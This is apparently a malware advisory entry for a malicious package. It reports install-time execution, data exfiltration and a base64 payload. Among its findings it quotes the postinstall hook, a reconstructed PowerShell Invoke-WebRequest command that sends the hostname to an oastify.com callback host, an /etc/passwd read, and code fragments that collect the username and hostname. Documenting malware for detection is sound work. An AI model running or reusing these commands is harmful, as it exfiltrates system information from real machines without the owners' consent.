GCVE-110-OSM-2026-8183

Malicious package detected. Behaviors: data exfiltration, code execution, network activity, install-time execution. ENTRY index.js (install-hook: node index.js > /dev/null 2>&1; exit 0) - Install Hook Executes Local JS File in package.json - Postinstall Script in package.json DESTINATION - reconstructed: powershell -Command "Invoke-WebRequest -Uri http://1ikh1ub9ug8oc3qubaud2d6zrqxhl79w.oastify.com/mw-filesystem-events-nodream/$(hostname) -Method GET" (primary, reconstructed) - custom-c2: 1ikh1ub9ug8oc3qubaud2d6zrqxhl79w.oastify.com (plaintext) in index.js EXFIL - Sensitive File Access in index.js: ""/etc/passwd"" - OAST/Interactsh Exfiltration in index.js: "oastify.com" - System Information Exfiltration in index.js: "os.hostname() } }); req.write(payload); req.end(); } catch (e) { // HTTP fallbac..." - HTTP Data Exfiltration in index.js: "os.hostname(), user: (os.userInfo() || {}).username }); const req = http.request" - Data Encoding for Exfiltration in index.js: "Buffer.from(exfil).toString("base64")" - Network Request in index.js: "https.request(" - System Information Collection in index.js: "os.userInfo()" - Suspicious Domain in index.js: "oastify.com" OBFUSCATION - recovered 1 urls from decoded/deobfuscated content ADDITIONAL FINDINGS - Shell Command Execution in index.js: "require("child_process")" - Platform Detection with Data Collection in index.js: "JSON.stringify({ package: PACKAGE_NAME, hostname: os.hostname(), user: (os" - Suspicious URL Pattern in Template Literal in index.js: "powershell -Command "Invoke-WebRequest -Uri http://1ikh1ub9ug8oc3qubaud2d6zrqxhl..." - Publisher Has Other Malicious Packages - Publisher Shows Burner-Account Pattern PAYLOAD FILES index.js INDICATORS (IOCs) - payloadFileHash: bbdaad5870bd9f71bef8dda8470b939888ab2b96daf6fa9ab9fcd4b945cc42f3